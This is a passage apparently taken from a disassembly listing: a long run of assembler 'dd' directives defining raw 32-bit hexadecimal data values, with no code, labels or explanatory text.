		dd 0B1FEC01Eh, 25F01CCEh, 12882926h, 34FD87h, 0AF0BD3BBh
		dd 94871B8h, 5E6EA07Bh,	0B01FA085h, 861D328Ch, 30306CA3h
		dd 595BA60Ch, 9C255CBFh, 0E847C46Ah, 0AE606544h, 592C5149h
		dd 7401494Dh, 9F9E04A6h, 88C4022Ah, 5C76382Bh, 7D334700h
		dd 9E62E09Dh, 0EE098234h, 0C0A42DB0h, 69E8A0B9h, 3DE64E00h
		dd 26AFE3D5h, 48D0B2AAh, 6280C0CAh, 0F730DAEFh,	331316E4h
		dd 902473AAh, 27440EEBh, 118EF920h, 6125B24h, 8CC2AFD4h
		dd 0E48872B1h, 57BD0E42h, 44BF527Fh, 0BB5EA613h, 3FC8C408h
		dd 500A9707h, 0BDA70FEh, 8827B276h, 22205228h, 8752BFABh
		dd 4F3000E4h, 0B913FBBCh, 0DCF201E3h, 95B2511Ch, 73B2EB37h
		dd 38D95051h, 0E3037818h, 88194446h, 0B971000Ch, 344F52CEh
		dd 9E1E1FC6h, 89D6516h,	68BB047h, 0D8B8C482h, 0E65000FCh
		dd 535CEFC8h, 7F4A391Bh, 34232C2Fh, 0D8A82102h,	81304A12h
		dd 3398E6FCh, 0F08B8808h, 24AE7481h, 81381B63h,	0AF9E8BD1h
		dd 118C2236h, 0BE0121BBh, 1740A587h, 0F1387490h, 6459C600h
		dd 0AC15D108h, 0CC314DF3h, 4054A42Ch, 410F9690h, 0F476F0F5h
		dd 0CBE039B8h, 59C05F7Eh, 1E6098C5h, 940312AAh,	18ECB962h
		dd 0A66895BEh, 998F4F9Bh, 8A583074h, 132434E3h,	47695027h
		dd 603264D8h, 0E4AF0A56h, 0C0FA4DBCh, 0AA32CE00h, 1AE09CC0h
		dd 85A01D4Ch, 44A25F26h, 749BDB22h, 0BBB978h, 9EBD61F4h
		dd 6AB33279h, 0CF028F01h, 7023E5DEh, 1197C041h,	0C52E4C33h
		dd 0AC467E68h, 543E4C00h, 1DDB3DBh, 9E3C2902h, 0E6163B40h
		dd 0F42F95E4h, 9BA84457h, 1E84272Dh, 0E5422143h, 0CA9C2049h
		dd 831C10C8h, 246EA7h, 0BC4A25AEh, 15C15C28h, 0DC050E14h
		dd 0D8610ACh, 8F50E892h, 7084CF30h, 7723A84Ch, 0CA271011h
		dd 7FAC0420h, 200C45Dh,	5976789Bh, 0F0843CFh, 1B122656h
		dd 5B482FACh, 2834448Ch, 346DB62Bh, 0D1117B91h,	4FB0085h
		dd 74999D97h, 204090E2h, 0ED7A63F0h, 2981A930h,	0C4D9B5E3h
		dd 326056E0h, 48012B8Fh, 0F0B8EE9Eh, 84B4D2D8h,	999C5031h
		dd 49134878h, 88E48B4Ch, 0CDDAC01Ch, 5C0B346Ch,	2AD5AB5h
		dd 4D228F78h, 0BE0FC2ECh, 84121410h, 7A3F7821h,	0ECAB7B62h
		dd 0EC842C92h, 88C07146h, 108D9FAh, 7FB415E1h, 125032C3h
		dd 30A9B299h, 7DB1DC4Ch, 2E082D0Dh, 500D18DBh, 322F2010h
		dd 0EC857F7Ch, 0E250A363h, 17B43016h, 0B001F27Ch, 37F6E1DFh
		dd 0D878687Ch, 603E7D00h, 2BEA0E50h, 307A2E01h,	0FE220470h
		dd 6A14F4h, 0D9FF9A6Eh,	6FF68DEDh, 89BF4Eh, 46950D3h, 5DE2A2F4h
		dd 0F8CF0087h
		dd 8B526B64h, 0C360C848h, 0F7B84212h, 0B0FE4CCh, 0B2B125D3h
		dd 470734FDh, 0E016F169h, 52DB0594h, 59858B17h,	0A8145901h
		dd 0E85042BBh, 5FD28EDh, 62DAE5A2h, 8C58CC08h, 0AB0BF618h
		dd 0C91E7BD8h, 0E4D95DF0h, 16918918h, 0B65016DEh, 3A891AAh
		dd 32440736h, 1CF0DCC8h, 5201C03Eh, 9AFCB0CEh, 791757F6h
		dd 413501Ch, 3323942Fh,	71B05B09h, 19EB000Ch, 80CD831h
		dd 52252CB8h, 403CF84Eh, 0B4F85726h, 0E0DC24F2h, 100309FFh
		dd 0B68CEE63h, 18F35E5Ch, 0D9840557h, 81E515ADh, 96148836h
		dd 30B64D69h, 0E6BCB4h,	36C15BDAh, 0F68BF7DFh, 1F1C05E6h
		dd 0F98D1ADDh, 0EA9C5138h, 69D8CA0h, 874EDF53h,	12C024F5h
		dd 62244CC0h, 0F9EFE700h, 88CB1939h, 9D93CF0Fh,	6CE03290h
		dd 6FFF0559h, 0A482CAACh, 6100B6CCh, 0C70D4860h, 5C44DAECh
		dd 210C6C24h, 0CA812692h, 6D1C48B9h, 0BDE00F40h, 87C6E6h
		dd 9D32D8E8h, 0E1160305h, 6D24FF02h, 0C0040BE9h, 5A069B6Eh
		dd 1454205Bh, 33479520h, 4068A450h, 2A4AEF62h, 5C23A42Eh
		dd 87EDA200h, 13DBFE39h, 0E0B6BBA6h, 2816F070h,	68E40526h
		dd 0CEAA028Fh, 50276BA9h, 0E749860h, 4DF42481h,	0D1D891ADh
		dd 72431862h, 96E31369h, 6D0C4804h, 0FA279F00h,	0FA5951B4h
		dd 30AE52CEh, 0EA3158E2h, 3CDFBFCh, 0A5E18E6h, 83FA02A4h
		dd 0FE0C8875h, 0E470091Ah, 0ED52006Ch, 5E2BDADBh, 0A37CFEA1h
		dd 9F0590Eh, 15F340E2h,	1181D66h, 0ECBDE384h, 0E4E76C27h
		dd 0F530FE17h, 0B6D4B006h, 0C142A95h, 0E2162538h, 0F051B0C2h
		dd 0D5185D71h, 637C18B0h, 4ECC0C80h, 0F85CB08Bh, 8CC0AC50h
		dd 82D3AE27h, 7D0FE7C0h, 0BDB9880h, 3809AF69h, 0D121258Ch
		dd 670D0324h, 58883ADh,	0AC222B76h, 49AB3A24h, 66009E3Ah
		dd 0CC7F30B7h, 50E06D4Ah, 0D182E105h, 3BC3A212h, 2FC6A903h
		dd 64428A70h, 0C8B0E0DAh, 0CF51723Ch, 0ECBBFC8Fh, 9A899CA8h
		dd 681EC092h, 654776D3h, 41C0C82Ah, 9377F33h, 75A32370h
		dd 28E8B48Eh, 2B065700h, 0F80232h, 0D640DB83h, 61101AA7h
		dd 4203531Dh, 0DF517481h, 0D072B0EFh, 1E0A1900h, 2DD9C5D5h
		dd 8EC22907h, 0F2A14185h, 3770AF27h, 63210106h,	3B13DBB1h
		dd 0B4D8580Bh, 0EA34A327h, 53DC04ACh, 0F1EBC064h, 2448BD8Bh
		dd 5FC7B0B0h, 299F02C0h, 61199DE8h, 0E83893D5h,	0EEBDA87h
		dd 7F31DF7h, 0ADD73CE3h, 0C348CF5h, 0ACCBFE10h,	0E5F1FD02h
		dd 0DCDC7F37h, 4C9C71DCh, 30926888h, 0BBA3114Ch, 0D8427300h
		dd 0F763B3Ah, 0B4821329h, 9D04427Ah, 88D8E6E0h,	2C675228h
		dd 1B3C8573h, 0D4F8001Ch, 0FD56BA1Fh, 8459005Ah, 96384762h
		dd 0B35E89B1h, 4D2620D0h, 90A7137Eh, 0D194C23Ah, 7687C0D6h
		dd 81490A30h, 50CA75E4h, 0AD22FD0h, 6F166EDAh, 0FD1E07ACh
		dd 265A31C3h, 28A46052h, 84F0024Ch, 0D8E48BCEh,	0ABB8054Fh
		dd 0E9E959DDh, 0BCD4AD30h, 0AE01354h, 10F0B47Dh, 2D74C548h
		dd 0A260C888h, 56C41642h, 80E297h, 1CAE485Eh, 0FA63EB4h
		dd 77E0F87Ah, 0D0623343h, 270621C8h, 0E05DAA25h, 5CA413D8h
		dd 0DF84846Dh, 69883720h, 605918F1h, 0FC027318h, 9A55BF5Fh
		dd 4BF0C166h, 93C286Fh,	2D2C0288h, 2CA10A04h, 28074C89h
		dd 9B4108Ch, 13E3C050h,	147758E5h, 0F7119030h, 91EE20BCh
		dd 185D71D0h, 6404BD38h, 0CC28014Fh, 718231BBh,	8FD7930h
		dd 73688C0h, 9D41180h, 0E3D37E64h, 0B9512C10h, 0C9AAA000h
		dd 3D20EB82h, 531025E2h, 70428C6h, 75065C4Eh, 3F209262h
		dd 4A4E6Fh, 0AF2BAA74h,	4C3E6B0Fh, 0E8C01F5Ch, 75008CADh
		dd 74A72DABh, 54C10F3h,	28D36AFFh, 369402B6h, 0E0D2A98Dh
		dd 859EBC91h, 0F5D8F740h, 7E4E2Ah, 68558C3Ch, 6C465812h
		dd 0E05D442Eh, 0C0039F0Bh, 16914F14h, 0F25239FEh, 27CC40F4h
		dd 3C82C640h, 0E33599D0h, 802CE8E9h, 0FF747AE0h, 56B752Fh
		dd 0CA639D07h, 2877C3B6h, 0E14B9C4h, 0F2E2D8A7h, 84814C12h
		dd 8215264Bh, 0E52959B0h, 6034E42Ch, 6188A7F0h,	13386122h
		dd 0B4167BACh, 6F3488h,	0B3FD1C5Fh, 0D9C380DAh,	0B60A7216h
		dd 0AC0A14E2h, 480E9D5h, 0F0E4B422h, 309421D0h,	251E465Eh
		dd 0F45407DDh, 0A72700D8h, 0D6D856D7h, 66258227h, 21F15E64h
		dd 10A50CCh, 0C02C49ACh, 0DCC07388h, 2BA81FDEh,	8040C4ECh
		dd 2DDE546Eh, 2F03B956h, 0B63106CFh, 0D4A0B438h, 7EFE0E4Fh
		dd 0E20A847Ah, 0BE38309Ch, 14B2D796h, 90D729ECh, 66C894CEh
		dd 0B80BB1C3h, 33C37DCh, 90B6CFDDh, 8017314Ah, 0A88BE957h
		dd 30111C84h, 1C3CAEABh, 802679C7h, 0A4A66920h,	74983201h
		dd 41822AF4h, 5560D88Ch, 1E7826B4h, 0C28C1350h,	0E845E7CCh
		dd 18111CE2h, 7B00AE22h, 0FB97185Dh, 5A4A93EFh,	0E4F8E588h
		dd 0AD1C5EECh, 0C480831Fh, 0DDA048BBh, 0B51313F7h, 0E4C050CAh
		dd 3A8C16F8h, 268063EEh, 0D74B178Ch, 2C90FE99h,	0B6287420h
		dd 61C51258h, 5B0F91D4h, 0CBFCC078h, 0F96E14h, 312CBBD4h
		dd 0A595EFAEh, 68370F30h, 9403CC02h, 0B4B295DCh, 0BC6AB427h
		dd 0DC487Ch, 0DA2BC66Ch, 0CAD9C4FCh, 0A7863316h, 107F30ADh
		dd 1DBF97A6h, 1C2618FAh, 4708FE0Bh, 673264F8h, 0B29BA030h
		dd 6EA101C2h, 49BD8EB0h, 0C8D44B4Ch, 58D4C11Bh,	0BC2EC039h
		dd 409A6C00h, 905F7BEh,	0B60B79AAh, 0B211009Ch,	87CC2651h
		dd 8B02309Ah, 0AF90DFECh, 78905538h, 0ACB6D89Dh, 93BBA680h
		dd 97F5C7Ch, 1F2740A7h,	0FD6574A2h, 0C6E49865h,	418DD660h
		dd 9F30710Ch, 606360C2h, 38A7A0CEh, 0F0BA2953h,	0E0B62374h
		dd 10932176h, 3640BB80h, 0BC91AF52h, 888416E0h,	5D144EECh
		dd 89F0D79Bh, 62686D2Bh, 0ACFEB165h, 0A047C683h, 8F4D82Ch
		dd 0A8314C6Fh, 10BB810h, 16D7AA26h, 70622982h, 50BB4F10h
		dd 28120328h, 6CA16504h, 586E2Fh, 0A7E76CFDh, 7F8C2F97h
		dd 0A6AD5AFEh, 0E09D04E8h, 2C098156h, 3F0898F6h, 0A5CA1380h
		dd 0E1EEC44Ch, 706AAE26h, 21173310h, 0B2C0F336h, 0FB873060h
		dd 6BB71B00h, 0DD65809Eh, 9BAA0914h, 1C40711Ah,	68C43501h
		dd 90BD383Bh, 2AFC16E8h, 7F682D00h, 0A5D98C62h,	0FDBD250Ch
		dd 38113897h, 0CCD63C80h, 0EF7FC61Ah, 21079E13h, 74D3744Bh
		dd 8DC444A4h, 0B8FC6D90h, 53D21D59h, 905D400Fh,	0F9CCBAEAh
		dd 0AA32A601h, 1DC39C16h, 88767889h, 46C720EDh,	0A6BBAA31h
		dd 9B6C012Eh, 447640h, 4090142Ah, 365F876Ah, 0F48954C0h
		dd 0CCA45477h, 332E20A3h, 0D0F69009h, 767C5C69h, 4B399246h
		dd 0DD562083h, 268A2C8Fh, 278090DFh, 121E5EE0h,	0A3001674h
		dd 3199E214h, 0B0FE20BBh, 6E879000h, 5AB9BCD3h,	3E9306FCh
		dd 0D82F019Eh, 8390F20h, 35EF968Ch, 7436805h, 3CE054E4h
		dd 0D0481901h, 0F000D04Bh, 151FE183h, 7A475E37h, 189924A3h
		dd 9AD0E708h, 0F403F68h, 50C7F245h, 4D6191E4h, 143966h
		dd 69C0E0ADh, 0EC1B4F31h, 0E4881F7Ah, 40700506h, 0A0DC1FC8h
		dd 8481C174h, 4AC1F60h,	0CC0C0EE7h, 2B80A007h, 0FD6089Eh
		dd 0ABF79D15h, 0AFCA0CFFh, 0D42F28D9h, 8E3087C7h, 88218280h
		dd 0F940B973h, 1E31820h, 12FB012Ah, 2E389F9Ch, 0BD38C07h
		dd 0BA42458h, 2848AFB7h, 57826C48h, 6CF4B08Fh, 78CF1062h
		dd 20F7F482h, 5800B807h, 1F904E54h, 4721C5AEh, 3B3DB411h
		dd 0AC3F2884h, 4395F820h, 1A021D10h, 80233542h,	3CA0559Bh
		dd 0DAFD2879h, 0C7E2DC00h
		dd 3070D49Ch, 4D7F4ACCh, 0DCB0F5BCh, 0DA4A9BADh, 7F80B1h
		dd 40B756C8h, 1E5E4CF6h, 56CB989Bh, 0B0480885h,	90279BC4h
		dd 0D940428Eh, 3AD58E34h, 690EB382h, 46767874h,	3B9900ADh
		dd 16C994FFh, 5EA87EF8h, 1F44E2EEh, 38A1D5h, 0BE43B524h
		dd 0F23776h, 0BDF91F95h, 111E9DDEh, 3A6711Dh, 832EEDC2h
		dd 0BE406060h, 9C0C8074h, 81C16A07h, 92C04122h,	0A1DA5h
		dd 0E912BFC6h, 0BECC68C8h, 389A7807h, 80FBEDB1h, 39520B68h
		dd 0BD830132h, 54A444DAh, 78887B4Ch, 7CD01E82h,	1418676Fh
		dd 11167EC5h, 248016D8h, 5ACBB3ACh, 0F4F49154h,	0D03800A1h
		dd 3013F09Ah, 0E8111E40h, 8225C287h, 2E07925h, 5E0EA3ACh
		dd 178DB4DCh, 0ABF02092h, 180C60FEh, 8CF44955h,	0CB6104Bh
		dd 19E685E0h, 0B143DB00h, 2FCC0824h, 3CFCBA12h,	0F3130144h
		dd 1A84881Ch, 94E9088h,	0CB27608h, 0AE04E820h, 119FABF3h
		dd 0F909078Ch, 0AC74CA8Ah, 0A65E48C0h, 29A30178h, 4F85BD58h
		dd 169207C4h, 3023101Eh, 62F79A80h, 99D720D9h, 5345987Eh
		dd 95969843h, 4005E5C7h, 5C4D6599h, 544E814Ah, 0E1C03288h
		dd 2EFA2B96h, 133FFAEh,	954EA40Bh, 0EC3A3A83h, 880B6123h
		dd 0EFC9809Ch, 24523953h, 40DC38B6h, 0E569BACh,	2E8C22BFh
		dd 17140A8Ah, 9778805Fh, 0C54A5D39h, 1D00B8F2h,	310375B3h
		dd 6003D4B0h, 180964DDh, 0C534C026h, 7E4B1278h,	0B8CCA9FDh
		dd 30B12253h, 0A2923700h, 0FA0879D9h, 0B3360B1Bh, 14515E06h
		dd 2F18ABD9h, 0CB93A117h, 0ECD3C100h, 0E68BFDF6h, 902892B3h
		dd 320B2080h, 0A52FC590h, 60707A57h, 0FD27C90Dh, 0A380C77h
		dd 0EA7913E2h, 9B9D8007h, 384E7C40h, 0B830487Bh, 0CC840980h
		dd 0A120DC6h, 90E193FFh, 99BC482Ch, 14001043h, 0DBBED79Ch
		dd 3A042F0Ch, 3CB87EAh,	9F32D8D7h, 240C86Fh, 664420D4h
		dd 0C1DD1609h, 6A084DFDh, 0E0130062h, 75363E63h, 2D204F48h
		dd 0E0140E37h, 2CCB95B8h, 8D201773h, 0D278D209h, 0E712C87Ch
		dd 93B84CA8h, 8D091043h, 2800D3CCh, 0AA670F71h,	70E50326h
		dd 258B2186h, 0B9287069h, 8E253ED8h, 78B45468h,	169C0F58h
		dd 289125D3h, 41012384h, 0B6204032h, 391D8DF9h,	891D2180h
		dd 0F8C4B720h, 0F9076D78h, 13C71AE8h, 75BF1F20h, 0CF5F0718h
		dd 0B625CD4Eh, 9AEA70B9h, 39EBAD31h, 202033AEh,	0F85E513Dh
		dd 92A2DC33h, 3D2730h, 0CFAE8C0h, 2806AEE6h, 0A120A8E3h
		dd 0E731F9C0h, 2F1358h,	8B100DF2h, 639EF3ACh, 0D5B1EB07h
		dd 4E6425EDh, 52E000BBh, 4F150DA8h, 0D25EE0F2h,	0C05CE881h
		dd 802454FEh, 4D9FBB12h, 0E50064A5h, 6CA7AEBCh,	2D05C10Ah
		dd 8CA9D7CCh, 175D9401h, 16C8286Eh, 5CA429ACh, 3BAE43Ah
		dd 1375C736h, 0D9587FFBh, 15201040h, 1C663E17h,	14745094h
		dd 8090B19Ah, 0CA5386FDh, 0E00F52B8h, 2720EC17h, 6E1148E8h
		dd 9CD2AC01h, 3D2C1EE0h, 0C84B1214h, 44A924C4h,	0E39AF100h
		dd 6DD384E8h, 0CB45270Bh, 54AC8A08h, 38914676h,	62DD00E0h
		dd 0DE533AFCh, 9FC89E80h, 0D0EA04h, 68FE3B02h, 3EE2409Ah
		dd 24D1A0CAh, 54DD9500h, 0A0AF2Bh, 0BB49DB0Ah, 83D6E104h
		dd 755D0200h, 0FE512F9Bh, 5E340B7Eh, 0A0728859h, 0AF9E8C13h
		dd 8208DC88h, 0C8F30DCh, 6822F2ACh, 267C2394h, 0CDB54FC8h
		dd 0DC00487Fh, 0F864EA9Dh, 272DE8Ah, 60C4BCE9h,	287E9754h
		dd 0D8063BD6h, 5FE06083h, 814CB89Ah, 0A9D912A0h, 89376888h
		dd 2079E9B3h, 0F45AA46Bh, 0EAD4E402h, 0E49845E2h, 15BE6097h
		dd 76C300BDh, 4FD2346Ah, 0AC256B08h, 9640EF1h, 27B86406h
		dd 0B89D3252h, 42806691h, 0F57C6806h, 8852B401h, 7D1AE027h
		dd 0A00B8C34h, 286EE2A9h, 4FCC0CDEh, 88C88F66h,	0FF22C0C6h
		dd 9B122FCEh, 10884984h, 1C690CFDh, 2811DFC8h, 6023D42Ch
		dd 73AE8C82h, 0A402004Eh, 0B49682A0h, 4624676h,	7E36DB59h
		dd 88F46880h, 0CBA94E11h, 0C01BC888h, 8F40F9B9h, 0F483D703h
		dd 0F339219h, 0A55DAC21h, 0DC5143C9h, 0AF46A308h, 521C404h
		dd 1CC8884Dh, 0A74E00BCh, 396C61FFh, 9E00559Dh,	0D69C783Dh
		dd 1A160Eh, 91017119h, 0E0B6212Dh, 0D48CE628h, 0B5E36905h
		dd 70D85B9Bh, 306CB0C8h, 0D6087DC3h, 0D81F49F3h, 8C0BC0C9h
		dd 0A7E0F4A9h, 0EEFBB890h, 0E86C8900h, 6353A783h, 0B71BE2B0h
		dd 738FD0E0h, 0A8C9342Eh, 0B8526A02h, 564E638h,	9CF829E6h
		dd 2338D997h, 308EA248h, 0EB024DFCh, 9CD0361Dh,	809CC0D4h
		dd 0C8B09769h, 3200BB64h, 0B31BCF5Bh, 25302DA9h, 1440B014h
		dd 0AA1A20EDh, 2A1C413h, 104C25C8h, 315CBCA4h, 26A78584h
		dd 8A5B6CCAh, 0C798C890h, 42570069h, 9D70C1E9h,	5C133828h
		dd 7B40A713h, 0ECC8C4C4h, 0B7CE74ADh, 8E91489Dh, 9802BE81h
		dd 38206ACEh, 13852C8h,	604B039Dh, 0EEE9E58Ch, 66708482h
		dd 862F5B10h, 42FC145h,	0F01BD244h, 0F91D46BCh,	58BACC81h
		dd 72658B7Ch, 0CBC600F8h, 3F41B029h, 47005E71h,	0E6DB5F23h
		dd 123017DEh, 0A934FCA4h, 1EAC10E8h, 189C080Bh,	0B8238CFEh
		dd 1E82FD00h, 5932B336h, 0DBC07863h, 77A3D014h,	377FE204h
		dd 0A4E638E3h, 0A0DCA64Ah, 29C915h, 0DF1E4480h,	6FD40651h
		dd 8A0DC9Ah, 2418654Eh,	2F950C8h, 0C1347DB4h, 8262A20h
		dd 2151971Dh, 2884C8FCh, 408CED01h, 9222D3B4h, 80A32225h
		dd 0B7512902h, 4252B562h, 0B818FDC4h, 0CE9DBD43h, 0ACD0040Ch
		dd 1E6A4E9Bh, 0B4481A80h, 0BFDD15D4h, 4DE6488h,	0AAAC629Fh
		dd 2E111888h, 93242338h, 0AC5CB94Bh, 2E7B075Fh,	60117CE8h
		dd 57F670FCh, 0A0E71A5Eh, 0A2FA2700h, 0DEE20A0Dh, 0D197B525h
		dd 90A784E4h, 26E4FC86h, 0DC4BF801h, 40D103Ch, 5BBCF68Ch
		dd 3FCC051Fh, 0C85CFC10h, 130597BDh, 8820CF74h,	8C55C191h
		dd 40212A90h, 982D9FAEh, 81AFD408h, 40944C28h, 137BB281h
		dd 483CEDDEh, 79183AD3h, 0A5B0028Ch, 0AA9AA438h, 9F6298D6h
		dd 80BC74C9h, 0E970B09Ch, 8F7DCB34h, 8C4F0779h,	0A3262800h
		dd 94D350h, 3B034F5Bh, 8B9FA7B1h, 734FDD7Ch, 0BA44E477h
		dd 719E2121h, 0A2E438A6h, 0BC017FF1h, 15347906h, 9410C4BCh
		dd 0EABE0231h, 90FB8h, 129491Dh, 117423F3h, 0F1258CEBh
		dd 571BE082h, 383294FBh, 13BCD6BFh, 2BCE9EEh, 0F68E27F1h
		dd 7F0048C4h, 3B0F5A93h, 2FA43B04h, 3328C04Bh, 16B905F4h
		dd 0C8346F8Ch, 83411C18h, 0E26C822Fh, 0B3611CD1h, 0F01154CFh
		dd 104D252h, 74BF7CC8h,	80CC161Bh, 0D93C9FE9h, 0FAAFF0h
		dd 0B39A947Dh, 0F936BB27h, 305A3E7Ch, 0BCFC1614h, 0B6BA90A8h
		dd 0DAD827h, 21B94FCCh,	20FC9057h, 0BD250B8Ch, 70407BD3h
		dd 490216FBh, 0B6F26355h, 0D9F4C07Fh, 5E8B006Fh, 60547D08h
		dd 16757351h, 0CDD08760h, 0D2507Ah, 78113DB1h, 15E8313Ah
		dd 6E7D20C0h, 399DCF84h, 0BF03B162h, 61464316h,	0E651F5A0h
		dd 18C40A49h, 0B42D34B6h, 820F3E76h, 511E5901h,	3069445Ah
		dd 0F700F304h, 7D6F015h, 58C6582Ah, 0DD0510E5h,	0F94ED8A8h
		dd 200313B0h, 99EF3C40h, 0A0905DFFh, 0BD002E7h,	1F162DABh
		dd 40570056h, 724BF4Bh,	876E731h, 0FA01AE69h, 0C59F0188h
		dd 4112F001h, 8C35F7F8h, 21B30AE8h, 8343805Fh, 0B81A08CFh
		dd 0C4C13428h, 40C5310h, 0E506ACE9h, 0EC2008D5h, 807EFE8Ch
		dd 0CC806042h, 0AB33806Dh, 1017F383h, 18CFEC40h, 2D801D6Ch
		dd 3518C406h, 9C340699h
		dd 21EF6208h, 0E80E0897h, 12C0C85h, 9440E410h, 283063FDh
		dd 5977BDBAh, 0CCC7B880h, 22C96310h, 66182D62h,	6F610395h
		dd 23C70818h, 0C62C8018h, 18A95A08h, 1DF6A01Fh,	8318A08h
		dd 2215CA0Bh, 874A10A8h, 202EF918h, 548097A0h, 360280A5h
		dd 18D403F9h, 8745C10h,	58C6FE11h, 3110845Fh, 5108C9F5h
		dd 18150378h, 28FA3841h, 48CC20AAh, 653C1908h, 4ABD1028h
		dd 8CB85588h, 4718382Ah, 4071BA68h, 0C4085A18h,	51148132h
		dd 9E16E3B8h, 5460A910h, 627DFC1Ah, 0A0B80892h,	589DA02h
		dd 34CC46FBh, 0F089798Ah, 57C188A0h, 0F0A41570h, 0C0FB6818h
		dd 51C87DBCh, 0B2E508CDh, 801F4C0Ch, 108CE3A8h,	77087AD0h
		dd 8949BB6Ch, 0A01362E6h, 0F0026AD5h, 0ACBD0279h, 0A45F2D05h
		dd 1886C64h, 5630C39h, 7092F810h, 3B91EB62h, 46F705D0h
		dd 10A48488h, 1868C649h, 0DF182683h, 2908CC37h,	0E6FF0A9h
		dd 157F6850h, 0F918E8B6h, 0BCBF0882h, 918CA581h, 0CA08B7E5h
		dd 2D59A164h, 95D1904h,	593425CEh, 6FCBE844h, 0A8CB104h
		dd 0EC8C980Ch, 64DBB8FDh, 4CB69D8h, 1F04C7C5h, 88920AC1h
		dd 8D37188h, 170C01C8h,	0A88610D1h, 807BE4E8h, 78CC3350h
		dd 63CBA12Ah, 19EE3004h, 88650824h, 1EBD3788h, 410871EDh
		dd 0D9A8019Bh, 897CA003h, 7549B492h, 0FC6A2A8Ch, 2AAAA720h
		dd 40C80B10h, 0F640E394h, 7B78407Ah, 0E6264C92h, 71B74072h
		dd 0D50696C4h, 5C44903Ch, 30BB40F2h, 40788540h,	0BA668A73h
		dd 20305CB1h, 2C206142h, 0A58C20B4h, 0B9F6320h,	0B10B9B59h
		dd 0FE589468h, 5430790Bh, 0EE980080h, 5C87E1FFh, 0C60080BBh
		dd 3942970h, 0A70491CCh, 48B805D2h, 810C4D7h, 39A4132h
		dd 0E7826AC9h, 0FFF54077h, 0E6B0847h, 0E4E9B7D4h, 42007C4Ch
		dd 815A3F8Dh, 0F57411F4h, 0AC75D506h, 0E090E04Dh, 92870FEFh
		dd 0BE008002h, 0BDC0217Dh, 0C22A0D24h, 0D5DDCA00h, 3CE13908h
		dd 0D2277309h, 92A08078h, 239DF66Dh, 0C64268ACh, 4DA500E8h
		dd 0E7CA4E2Eh, 1B3B2DC4h, 0BB6F18D2h, 271D0828h, 3848496Dh
		dd 46006E58h, 966AE79Ah, 707961B1h, 11F60303h, 4AB2CA9Eh
		dd 70022837h, 0ECFDC474h, 7E0A870Ah, 0F95900ACh, 2DF86124h
		dd 6D652800h, 0DB65529h, 0E3682715h, 0FB0F84C0h, 36BAB200h
		dd 0F198CD79h, 211D0491h, 0AB42ABEDh, 305A14C0h, 826D3F35h
		dd 20BEC419h, 68B040B6h, 3303140Ch, 4BAC3B7Dh, 0A300212h
		dd 0B5F216CEh, 5D27C0E0h, 0F60E53Ah, 0B0370FBh,	0A5278380h
		dd 120754Bh, 8C612117h,	39CB4ED1h, 0C904051Ch, 78F424D6h
		dd 982D6992h, 8004A0CBh, 0EBAC7E6Eh, 795DDCB0h,	901B6066h
		dd 21271602h, 2DB59E02h, 855A9968h, 0E41F55C4h,	323DC5D0h
		dd 7DC9CD0h, 38BE5090h,	9286DF74h, 6E001805h, 0FFDD01F4h
		dd 4FBB15h, 0DB041EA4h,	0F8439059h, 800A0F90h, 0C8242CCAh
		dd 53F0E4A0h, 17524640h, 0D02E4E90h, 9223C108h,	83C81560h
		dd 652FC42h, 26E508F9h,	8718B836h, 273076B0h, 2B662F60h
		dd 4D8F2882h, 0B0CA2481h, 5960839Bh, 0F00D65A8h, 2FB4AA41h
		dd 842236Ch, 21A79961h,	0D880E260h, 0EF0D7590h,	1967490Fh
		dd 7633E055h, 601B3923h, 210539B2h, 0D50A316Fh,	0A81E7547h
		dd 8088E10Dh, 80DC9041h, 0F072B901h, 5702CB78h,	67FEB391h
		dd 8FBCA030h, 1FD9BBAh,	65F02486h, 20D08422h, 0C1EFB361h
		dd 161C2979h, 0B0E083ACh, 0F0750232h, 0A984C98Dh, 0D8405043h
		dd 5295BBD4h, 20F0250h,	6D4D0458h, 0CDC5BB61h, 7CB02B1Dh
		dd 31317884h, 11F87D74h, 44608015h, 0AB8F7ACCh,	0F77B0082h
		dd 0EDCA3346h, 0F1F4FB52h, 803BA07Fh, 538612F5h, 514F2000h
		dd 0C6830C88h, 502DBE40h, 61920h, 8169418h, 0E96653F0h
		dd 118CF150h, 8858A8C2h, 1285864h, 6B3C684h, 0E567D662h
		dd 8288659h, 4820770Bh,	730F008Ch, 7BC0FB3Fh, 0F171AACCh
		dd 0EC028375h, 67D21133h, 0B0F0D5h, 0F26192D8h,	9F3644Bh
		dd 5E6D2507h, 0EE148406h, 62DE34CCh, 44346957h,	8806FC28h
		dd 2102B15h, 8EAF3342h,	0E45EEDACh, 9062B209h, 2F5DA91Ch
		dd 0CC80590Dh, 5BC549B5h, 4E0F7E00h, 76CC525Ah,	384A012Dh
		dd 2267D702h, 9DF84227h, 0F0F5046Bh, 400573DCh,	82258902h
		dd 2B0B715h, 0B00CE1FAh, 0D6DC833Ch, 0F8802820h, 7AE060h
		dd 0ED7B2BF1h, 0E2FF3703h, 2911F061h, 5445BEB0h, 8830E049h
		dd 1687FCC4h, 98F2210Fh, 337C9123h, 84BC802Ah, 8E0253F3h
		dd 0F967C119h, 2948470h, 9F059488h, 7F16E402h, 0B48E1862h
		dd 4490E109h, 98F30931h, 0AC0AAB0h, 252404BEh, 0E26EACh
		dd 84700662h, 44C8A6F2h, 0D090A7C8h, 0CE01B207h, 9BC31FE7h
		dd 4310F05Ch, 68BD1C60h, 722AC124h, 0ABEEFFACh,	24B9E440h
		dd 0C8802C16h, 4DFAEDD4h, 9610B0DDh, 56328F10h,	8275BD85h
		dd 0C88AC554h, 0C7803118h, 0A666FCAFh, 24DE4Dh,	1EF5B9B0h
		dd 4155CAC8h, 6ACFC0C6h, 67466500h, 9057EB6Ch, 4CF301B3h
		dd 2ECA6668h, 4DDC2001h, 0CFA9A83Bh, 0D0FA8040h, 6061CA0Ch
		dd 75124922h, 17007B8Ah, 0A8D64404h, 0A1E5CA0h,	19E8AC89h
		dd 0C53484A4h, 0E068C93Fh, 6B04F16Fh, 0E58857E7h, 0AC5C80AEh
		dd 0ACB07908h, 0FFA84A00h, 12DD5275h, 0D06F0097h, 0F7FA5481h
		dd 61077E1Fh, 6980E7FEh, 40CCBE90h, 449E00D7h, 821EC413h
		dd 1612CB0Ah, 800929Ah,	8853EC04h, 8BEE4h, 7211E02h, 301CB84h
		dd 67ED4D9Ah, 0A7031595h, 7CFA14A8h, 0A4B90D69h, 0C8D4902Ch
		dd 40F2D829h, 1E727E50h, 7584AB7h, 175330FEh, 6A06722Ch
